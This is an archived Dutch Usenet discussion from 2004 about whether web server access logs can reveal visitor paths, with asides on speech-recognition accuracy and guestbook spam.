foute) interpretatie van die gegevens, en creeer je een nieuwe situatie,
waar de bezoeker anders op gaat reageren.
--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl
Branko Collin
05/02/04, 16:45
John Bokma wrote:
> Branko Collin wrote:
>> John Bokma wrote:
>>> Branko Collin wrote:
>>>> John Bokma wrote:
>>>
>>> [ bezoekerspaden ]
>>>
>>>>> Nee, onmogelijk.
>>>>
>> [snip]
>>
>>>> Had de docent gelijk? Nee. Of een pc 100% alles verstaat wat een
>>>> mens zegt, is volstrekt irrelevant. Als je 98+% haalt, heb je een
>>>> product wat nuttig is.
>>>
>>> Wordt die 98+% gehaald?
>>
>> Dat ligt er aan hoe je meet. :-) En hoe je die meting interpreteert.
>> :-)
>>
>> Waar het meestal om gaat, is dat jij, als gebruiker, niet om de
>> haverklap je tekstverwerker moet corrigeren. Wat 'om de haverklap'
>> is, verschilt per persoon. Iemand met RSI zal een fout per zin (per
>> 15 a 20 woorden) nog wel acceptabel vinden.
>>
>> Ik heb ooit wat spraakherkenners getest, voor twee verschillende
>> artikelen, ongeveer twee jaar uit elkaar, en die tweede generatie
>> spraakherkenners maakte in een rustige omgeving, na korte training,
>> minder dan 1 fout per zin. Hoe nuttig dat is, hangt ook af van het
>> gemak waarmee je een herkenningsfout kunt corrigeren, en dat vond ik
>> destijds (2000) nog een minpunt van die pakketten.
>
> 1 fout per zin, wie noemt dat 98+%?
1 fout per zin is een correctscore van ongeveer 95%, als je uitgaat van een
gemiddelde zin van 20 woorden.
Dat is een score die wellicht nuttig is voor iemand die met een
spraakherkenner moet werken, maar ik hoef dat niet; voor mij zou een fout
per 2 a 3 zinnen nog acceptabel zijn, oftewel een foutscore van 2%.
>>>> Kun je paden met 100% zekerheid analyseren? Nee. Is dat relevant?
>>>> Nee. Het
>>>
>>> Hoe relevant het is hangt af hoe het geinterpreteerd gaat worden.
>>> Als iemand het heeft over "de tijd dat een bezoeker doorbrengt op
>>> een
>>> pagina" heeft heb ik weinig hoop. Onmeetbaar. Hoe iemand je pagina's
>>> doorloopt, zelfs als het meetbaar is, je hebt er niet veel aan. Je
>>> ziet
>>> niet of iemand verveeld een link aan klikt, of de pagina aandachtig
>>> leest, en vervolgens een keuze maakt.
>>
>> Noem eens een nuttige toepassing van logfiles?
>
> - meten hoeveelheid dataverkeer
> - zien of een pagina bereikt kan worden
> - error_log, zien of je per ongeluk niet een fout gemaakt hebt
Daar zijn de huidige veelgebruikte logfileformaten dus extreme overkill
voor. Wat voor logfileformaat gebruik jij?
> - zien wie er linkt naar mijn pagina(s)
Onmogelijk.
> Ik vind het leuk om te zien dat een bepaalde pagina bezoekers krijgt
> via Google, maar ik zie verder niet hoe de bezoeker die pagina
> gebruikt. Ook vind ik het leuk als site X een link zet naar mij.
> Mensen die naar mij linken, of nog leuker, mij een mailtje sturen met
> "Ik had veel aan de informatie op je pagina" zegt mij veel meer dan
> wat regeltjes in een access_log.
Ik krijg de laatste tijd veel bezoekers die dergelijke positieve feedback
in mijn gastenboeken en blogs achterlaten. "Great site you have!" schrijven
ze dan, "I really enjoyed my visit. Please visit my site too if you like,
http://www.genericviagra.com."
Dat soort menselijke terugkoppeling?
>>> Bij spraakherkenning kan je meten, je praat tegen de computer, en je
>>> vergelijkt het resultaat met wat je ingesproken hebt.
>>>
>>> Hoe wil je dat met je access_log doen?
>>
>> Duizend testertjes huren, hun een beetje laten surfen, onder
>> toezicht van twee meelopende camera's, en dat surfgedrag vergelijken
>> met wat er in de logfiles staat. En dan kun je inderdaad concluderen
>> dat in X procent van de gevallen een pauze van vijf minuten
>> betekende dat de surfer naar de plee moest.
>
> Yup, en wat heb je dan? Een momentopname van die site, in een
> kunstmatige omgeving (die mensen zijn gehuurd, en denken dat ze moeten
> presteren). Totaal foute opzet dus.
Ik ga ze toch niet uitleggen dat ze de logfiles gaan testen? Nee, een goede
onderzoeker speldt zijn subjecten wat op de mouw, zodat ze volstrekt
onnatuurlijk gaan doen wat jij ze opdraagt, en als bijzaak volstrekt
natuurlijk doen wat jij wil meten.
>>> Een ander iets: je gaat dit "resultaat" gebruiken om je pagina's te
>>> tunen.... lees eens iets over quantummechanica :-D.
>>
>> Ik niet snappen?
>
> Ah, ok, chaostheorie had een betere geweest wellicht :-D. Je gaat
> meten, vervolgens ga je sleutelen aan je site afhankelijk van je
> (meestal
> foute) interpretatie van die gegevens, en creeer je een nieuwe
> situatie, waar de bezoeker anders op gaat reageren.
Ik snap nog steeds niet wat dit met quantummechanica of chaostheorie te
maken heeft. Volgens mij heb je het over statistiek; alleen ben ik de naam
van de dit type statistische fout even kwijt.
Chaostheorie en quantummechanica gaan over gebeurtenissen op microniveau
die op een vooralsnog niet verklaarde manier (waarschijnlijk) invloed
hebben op macroniveau.
John Bokma
05/02/04, 17:05
Branko Collin wrote:
> John Bokma wrote:
>
>>Branko Collin wrote:
>>
>>>John Bokma wrote:
>>>
>>>>Branko Collin wrote:
>>>>
>>>>>John Bokma wrote:
>>>>
>>>>[ bezoekerspaden ]
>>>>
>>>>
>>>>>>Nee, onmogelijk.
>>>>>
>>>[snip]
>>>
>>>
>>>>>Had de docent gelijk? Nee. Of een pc 100% alles verstaat wat een
>>>>>mens zegt, is volstrekt irrelevant. Als je 98+% haalt, heb je een
>>>>>product wat nuttig is.
>>>>
>>>>Wordt die 98+% gehaald?
>>>
>>>Dat ligt er aan hoe je meet. :-) En hoe je die meting interpreteert.
>>>:-)
>>>
>>>Waar het meestal om gaat, is dat jij, als gebruiker, niet om de
>>>haverklap je tekstverwerker moet corrigeren. Wat 'om de haverklap'
>>>is, verschilt per persoon. Iemand met RSI zal een fout per zin (per
>>>15 a 20 woorden) nog wel acceptabel vinden.
>>>
>>>Ik heb ooit wat spraakherkenners getest, voor twee verschillende
>>>artikelen, ongeveer twee jaar uit elkaar, en die tweede generatie
>>>spraakherkenners maakte in een rustige omgeving, na korte training,
>>>minder dan 1 fout per zin. Hoe nuttig dat is, hangt ook af van het
>>>gemak waarmee je een herkenningsfout kunt corrigeren, en dat vond ik
>>>destijds (2000) nog een minpunt van die pakketten.
>>
>>1 fout per zin, wie noemt dat 98+%?
>
> 1 fout per zin is een correctscore van ongeveer 95%, als je uitgaat van een
> gemiddelde zin van 20 woorden.
1 fout op de 20? of bedoel je 1 foute letter op de 20 x gemiddelde
woordlengte?
> Dat is een score die wellicht nuttig is voor iemand die met een
> spraakherkenner moet werken, maar ik hoef dat niet; voor mij zou een fout
> per 2 a 3 zinnen nog acceptabel zijn, oftewel een foutscore van 2%.
Als inspreken mij minder tijd kost dan intikken en minder vermoeiend,
dan is het haalbaar. Nu vrees ik dat het voor mij niet werkt, zeker niet
qua programmeren. Of een HTML pagina inspreken :-D.
>>>Noem eens een nuttige toepassing van logfiles?
>>
>>- meten hoeveelheid dataverkeer
>>- zien of een pagina bereikt kan worden
>>- error_log, zien of je per ongeluk niet een fout gemaakt hebt
>
> Daar zijn de huidige veelgebruikte logfileformaten dus extreme overkill
> voor. Wat voor logfileformaat gebruik jij?
access_log
>>- zien wie er linkt naar mijn pagina(s)
>
> Onmogelijk.
Aangevuld met: en significant bezoek levert :-D. Kijk als iemand ergens
1 link heeft die mij nooit bezoek geeft, niet interessant. Als een site
een link geeft met 20 bezoekers / dag is dat leuk. Maar zegt niks over
hoeveel bezoekers *echt* via die link komen (b.v. omdat ze de referer
vast gezet hebben), noch dat het iets zegt over wat het bezoek doet op
mijn site. Als iemand linkt naar mijn site met "Close up of Janet
Jackson her boob", tja.
>>Ik vind het leuk om te zien dat een bepaalde pagina bezoekers krijgt
>>via Google, maar ik zie verder niet hoe de bezoeker die pagina
>>gebruikt. Ook vind ik het leuk als site X een link zet naar mij.
>>Mensen die naar mij linken, of nog leuker, mij een mailtje sturen met
>>"Ik had veel aan de informatie op je pagina" zegt mij veel meer dan
>>wat regeltjes in een access_log.
>
> Ik krijg de laatste tijd veel bezoekers die dergelijke positieve feedback
> in mijn gastenboeken en blogs achterlaten. "Great site you have!" schrijven
> ze dan, "I really enjoyed my visit. Please visit my site too if you like,
> http://www.genericviagra.com."
>
> Dat soort menselijke terugkoppeling?
Zie mijn site, geen blog, geen gastenboek, omdat ik weet dat die
daarvoor gebruikt worden :-D. Been there enz. Ik vermeld expliciet een
gerichte email, en niet Buy theee nnnewwww pen1s p@tch qwet1.
>>>>Bij spraakherkenning kan je meten, je praat tegen de computer, en je
>>>>vergelijkt het resultaat met wat je ingesproken hebt.
>>>>
>>>>Hoe wil je dat met je access_log doen?
>>>
>>>Duizend testertjes huren, hun een beetje laten surfen, onder
>>>toezicht van twee meelopende camera's, en dat surfgedrag vergelijken
>>>met wat er in de logfiles staat. En dan kun je inderdaad concluderen
>>>dat in X procent van de gevallen een pauze van vijf minuten
>>>betekende dat de surfer naar de plee moest.
>>
>>Yup, en wat heb je dan? Een momentopname van die site, in een
>>kunstmatige omgeving (die mensen zijn gehuurd, en denken dat ze moeten
>>presteren). Totaal foute opzet dus.
>
> Ik ga ze toch niet uitleggen dat ze de logfiles gaan testen? Nee, een goede
> onderzoeker speldt zijn subjecten wat op de mouw, zodat ze volstrekt
> onnatuurlijk gaan doen wat jij ze opdraagt, en als bijzaak volstrekt
> natuurlijk doen wat jij wil meten.
Tuurlijk, je zet ze achter een browser, met een site en zegt dat je de
statische elektriciteit op hun haar gaat meten :-D. Je *beinvloed* het
gedrag, het is een kunstmatige omgeving. Zit er MSN op die computer?
Zijn hun buddies on line? Is *hun* omgeving geinstalleerd, met *hun*
muziek? Mogen ze vriendin meenemen? Huisdieren?
Ikzelf merk altijd dat ik op iemand anders zijn/haar computer mij niet
thuis voel. En ik twijfel sterk dat ik daar uniek in ben. Ik zal in een
bieb anders surfen dan thuis.
>>>>Een ander iets: je gaat dit "resultaat" gebruiken om je pagina's te
>>>>tunen.... lees eens iets over quantummechanica :-D.
>
> Ik snap nog steeds niet wat dit met quantummechanica of chaostheorie te
> maken heeft. Volgens mij heb je het over statistiek; alleen ben ik de naam
> van de dit type statistische fout even kwijt.
>
> Chaostheorie en quantummechanica gaan over gebeurtenissen op microniveau
> die op een vooralsnog niet verklaarde manier (waarschijnlijk) invloed
> hebben op macroniveau.
Het tunen van links op een pagina, aan de hand van bezoekpaden? Er
ontstaat een compleet nieuwe situatie, lijkt mij. Niet te voorspellen
(anders hoef je niet te meten :-D).
--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl
Sandor Spruit
06/02/04, 10:35
NNTP-Posting-Host: gemonde.cs.uu.nl
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: june.cs.uu.nl 1076059782 23127 131.211.80.162 (6 Feb 2004 09:29:42 GMT)
X-Complaints-To: news@cs.uu.nl
NNTP-Posting-Date: Fri, 6 Feb 2004 09:29:42 +0000 (UTC)
To: thx113@castleamber.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
In-Reply-To: <bveq0e$10g0$1@nl-news.euro.net>
Xref: nl-news.euro.net nl.internet.www.server-side:33750
John Bokma wrote:
> Hans wrote:
>
[knip]
>> Eigenwijs ventje ben je John :-)
>
> Nop. Hoe "zie" jij dat ik de back button 3x indruk, en dan op een link
> klik in de cache? Welk pad volg ik dan? (b.v. de email link op elke
> pagina op mijn site).
[Even genuanceerd proberen te zijn]
Is het dan niet zo dat bepaalde onderdelen van een pagina zo in elkaar
kunnen zitten dat je dit kunt omzeilen: Javascript, kleine Java applet,
onderdelen van een pagina waarvan je aangeeft dat ze non-cachable zijn,
een kleine externe teller?
Heb hier ook eens naar gekeken vanwege gebruik van Internet voor o.a.
online tentaminering. Redelijk lang geleden, maar volgens mij kom je een
heel eind :)
[knip]
>
> En ik ben geen newbie op het gebied van stats meten, zeker niet ;-)
>
Leuk thread dit: er gebeurt ook veel onderzoek naar allerlei aspecten
van het gebruik van het Web. Navigatie-strategieen, hoe zoeken mensen
naar informatie etc. Zeker geen eenvoudige kost :)
Sandor
--
Information and Computing Sciences, Utrecht University
Contact information, see: http://www.cs.uu.nl/people/sandor/
"Our minds are harnessed by knowledge, by the hill and the will
to succeed". From: Fish, "Vigil in a wilderness of mirrors"
Branko Collin
06/02/04, 16:15
Branko Collin wrote:
> John Bokma wrote:
>> Branko Collin wrote:
>>> John Bokma wrote:
>>>> Een ander iets: je gaat dit "resultaat" gebruiken om je pagina's te
>>>> tunen.... lees eens iets over quantummechanica :-D.
>>>
>>> Ik niet snappen?
>>
>> Ah, ok, chaostheorie had een betere geweest wellicht :-D. Je gaat
>> meten, vervolgens ga je sleutelen aan je site afhankelijk van je
>> (meestal
>> foute) interpretatie van die gegevens, en creeer je een nieuwe
>> situatie, waar de bezoeker anders op gaat reageren.
>
> Ik snap nog steeds niet wat dit met quantummechanica of chaostheorie
> te maken heeft. Volgens mij heb je het over statistiek; alleen ben ik
> de naam van de dit type statistische fout even kwijt.
Euh, ik zat aan 'sample bias' te denken, maar da's weer wat anders.
Rene,
Weet je ook goede programma's met het oog op mijn vraag die draaien onder
windows?
Arjen
"Rene Pijlman" <reply.in.the.newsgroup@my.address.is.invalid> schreef in
bericht news:9jjn10hc2bk9sphkaav324tkd0vk33go19@4ax.com...
> Arjen:
> >Ik lees in de vorige post veel welles en nietes verhalen.
> >Daar schiet ik dus niets mee op.
>
> Nou, dan ga je maar ergens anders heen. Dit is een openbare
> discussiegroep, niet jouw persoonlijke service-desk.
>
> Je zou ook weleens iets inhoudelijker kunnen aangeven waarom het pakket
> dat ik suggereerde niet voldoet. Want zo schieten we dus niet op.
>
> --
> René Pijlman
>
> Wat wil jij leren? http://www.leren.nl
>
John Bokma
06/02/04, 19:25
Arjen wrote:
> Rene,
Tis geen mail, en niet bovenreageren svp
> Weet je ook goede programma's met het oog op mijn vraag die draaien onder
> windows?
Veel van die programma's maken gebruik van Perl, je kan Perl downloaden
op http://www.activestate.com/
--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl